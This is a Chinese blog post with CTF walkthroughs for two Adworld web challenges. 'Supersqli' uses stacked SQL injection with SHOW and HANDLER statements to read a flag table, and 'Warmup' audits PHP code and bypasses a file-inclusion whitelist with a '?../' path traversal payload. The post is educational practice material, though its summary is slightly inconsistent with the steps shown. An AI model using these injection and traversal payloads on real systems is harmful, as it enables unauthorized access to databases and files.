双剑破天门:攻防世界Web题解之独孤九剑心法(九)_supersqli攻防世界
免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任
**本文以攻防世界部分题为例进行演示,后续会对攻防世界大部分的web题目进行演示,如果你感兴趣请关注**
目录
一:Supersqli
二:Warmup
三:总结
1.supersqli
2.Warmup
一:Supersqli
打开如下所示,初步筛查这应该是一道SQL注入题
这确实是一道SQL注入
1’ or 1=1 #
那接下来就是查询字段数
字段数为2
1’ order by 2 #
查询数据库
正常的查询发现不行,被过滤了
但是没有过滤分号那就可以堆叠注入联合show
1’;show tables ;#
成功查询到一个特殊的表
1\';show columns from `1919810931114514`;#
查询发现此表含flag但select被过滤如何查询flag
利用handler代替select 查询
payload:1\';handler `1919810931114514` open as `a`;handler `a` read next;#
查询该表的数据
成功拿到flag
二:Warmup
点开发现有提示source.php
访问source.php和hint.php
是一堆代码,进行代码审计
访问hint.php提示我们flag在ffffllllaaaagggg
代码审计:
\"source.php\",\"hint\"=>\"hint.php\"]; //定义一个白名单数组,里面包含允许包含的文件名(source.php和hint.php) if (! isset($page) || !is_string($page)) { //第一个if功能为检查$page是否存在且为字符串类型如果不是则返回false echo \"you can\'t see it\"; return false; } if (in_array($page, $whitelist)) { ///检查$page是否存在于白名单中存在则返回true return true; } $_page = mb_substr( //截取$page中?之前的部分存在$_page(mb_substr是字符串截取函数,mb_strpos是字符串查找函数) $page, 0, mb_strpos($page . \'?\', \'?\') ); if (in_array($_page, $whitelist)) { //检查截取后$_page是否在白名单中存在则返回true return true; } $_page = urldecode($page); //对$page进行url解码 $_page = mb_substr( //截取?之前的部分存在$_page中 $_page, 0, mb_strpos($_page . \'?\', \'?\') ); if (in_array($_page, $whitelist)) { //检查解码并截取后的$_page是否在白名单中存在则返回true return true; } echo \"you can\'t see it\"; return false; }}if (! empty($_REQUEST[\'file\']) && is_string($_REQUEST[\'file\']) && emmm::checkFile($_REQUEST[\'file\']) //也就是说只有过掉checkFile方法才可以包含文件) { include $_REQUEST[\'file\']; exit;} else { echo \"
\";}?>
经过如上审计我们得知如果想要拿到flag就需过掉checkfile方法,那checkfile方法有四个if判断语句
第一个判断语句就是判断我们传进去的是否为不为空且是字符串
第二个判断语句判断我们传的值是否在白名单中
第三个判断截取?之前部分后是否在白名单中
第四个判断语句判断对我们传的值URL解码截取后是否在白名单中
总得来说我们正常包含文件时/source.php?file=........
但是他第三年个和第四个判断语句只截取?之前的而file则被筛掉导致无法包含
所以只要我们变换一下顺序即可且第二个到第四个if判断只要有一个绕过即可。
Payload:?file=source.php?../../../../../../ffffllllaaaagggg (绕过第三个if判断)
Payload:/source.php?file=source.php?../../../../../../ffffllllaaaagggg(这样也可以)
成功拿到flag
三:总结
1.supersqli
SQL注入漏洞,考察绕过过滤和堆叠注入技巧
解题要点
-
过滤检测:题目对常见的SQL注入关键字进行了过滤,如
select
,update
,delete
等 -
堆叠注入:发现可以使用分号
;
进行堆叠注入 -
绕过方法:
-
使用
prepare
和execute
预处理语句绕过过滤 -
或者使用
handler
语句代替select
进行数据读取
-
-
关键payload:
1\';handler `1919810931114514` open as `a`;handler `a` read first;#
学习收获
-
堆叠注入的实际应用
-
预处理语句在SQL注入中的使用
-
handler语句作为select的替代方案
-
字符串拼接绕过关键字过滤的技巧
2.Warmup
代码审计与文件包含漏洞
解题要点
-
源码分析:通过查看页面源码发现提示
source.php
-
文件包含:访问source.php获取源代码进行审计
-
漏洞点:
-
存在文件包含功能,但添加了
../
和..\\
的过滤 -
使用
checkFile
函数进行白名单检查
-
-
绕过方法:
-
利用四层目录结构
../../../../
绕过检查 -
最终payload构造为
file=source.php?../../../../../ffffllllaaaagggg
-
学习收获
-
PHP代码审计的基本方法
-
文件包含漏洞的利用技巧
-
目录遍历的绕过方法
-
白名单检查机制的绕过思路
综合对比
方面
Supersqli
Warmup
漏洞类型
SQL注入
文件包含
主要技巧
堆叠注入、预处理语句、handler语法
目录遍历、白名单绕过
过滤机制
关键字过滤
路径符号过滤
解题关键
找到未被过滤的替代语法
构造足够深的目录结构绕过检查
难度等级
简单
简单
(需要源代码及各类资料联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)